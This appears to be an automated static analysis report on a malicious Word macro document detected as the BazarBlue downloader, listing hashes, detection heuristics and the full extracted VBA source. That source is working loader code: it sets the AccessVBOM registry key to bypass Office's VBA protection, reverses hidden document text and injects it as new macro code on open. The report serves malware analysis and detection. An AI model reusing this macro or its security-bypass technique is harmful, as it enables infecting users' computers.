Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ba18a1a82ee3aa8c…

MALICIOUS

Office (OOXML)

47.3 KB Created: 2021-07-01 10:31:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-07-07
MD5: 5a3ca4f1bc10ce9c726b9e39c68c811e SHA-1: 995d591e1d6dc22be4eea0499952cee3957682b7 SHA-256: ba18a1a82ee3aa8cc0416e2addc6795eb258ce66c344bcb5c421b498e59e9dd2
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample contains VBA macros that utilize WScript.Shell to execute commands. Specifically, the 'autoopen' subroutine calls 'exceptionArg', which in turn uses 'GetObject' to add a new document and then injects VBA code into it. This injected code constructs a URL from concatenated strings and attempts to download a file. The presence of 'Shell() call in VBA' and 'WScript.Shell usage' heuristics, along with the detected BazarBlue family by ClamAV, strongly indicates a downloader functionality.

Heuristics 8

  • ClamAV: Doc.Downloader.BazarBlue09212-9898946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.BazarBlue09212-9898946-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub clearSize()
CreateObject("wscript.shell").RegWrite listConst, 1, "REG_DWORD"
End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub clearSize()
CreateObject("wscript.shell").RegWrite listConst, 1, "REG_DWORD"
End Sub
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Sub exceptionArg(memoryTableData)
Set globalNextFunc = GetObject("", "word.application")
With globalNextFunc.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub autoopen()
clearSize
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1463 bytes
SHA-256: 23135e246c4cc0aa4edd5768d4dff5a2baaac2497ebee1ee84a3d7c9cc33461d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "selectLeft"
Function countTitle()
countTitle = ActiveDocument.Range.Text
End Function
Sub clearSize()
CreateObject("wscript.shell").RegWrite listConst, 1, "REG_DWORD"
End Sub
Function argPaste()
argPaste = valueEx(countTitle, 8 / 4, 1500000)
End Function
Function valueEx(textboxView, memLeft, leftTextboxStruct)
valueEx = Mid(textboxView, memLeft, leftTextboxStruct)
End Function

Attribute VB_Name = "listDatabaseOption"
Function queryMainGlobal(tmpScreenLoad)
length = Len(tmpScreenLoad)
For i = 0 To length - 1
reversedText = reversedText & Mid(tmpScreenLoad, (length - i), 1)
Next
queryMainGlobal = reversedText
End Function
Sub autoopen()
clearSize
exceptionArg queryMainGlobal(argPaste)
End Sub
Sub exceptionArg(memoryTableData)
Set globalNextFunc = GetObject("", "word.application")
With globalNextFunc.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString memoryTableData
End With
globalNextFunc.Quit SaveChanges:=wdDoNotSaveChanges
End Sub
Function listConst()
listConst = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & Application.Version & "\Word\Security\AccessVBOM"
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 16384 bytes
SHA-256: 17da68f143ae05aa476b0e05128284156b7e2e0d7b36580f551c19b3c1aa156c

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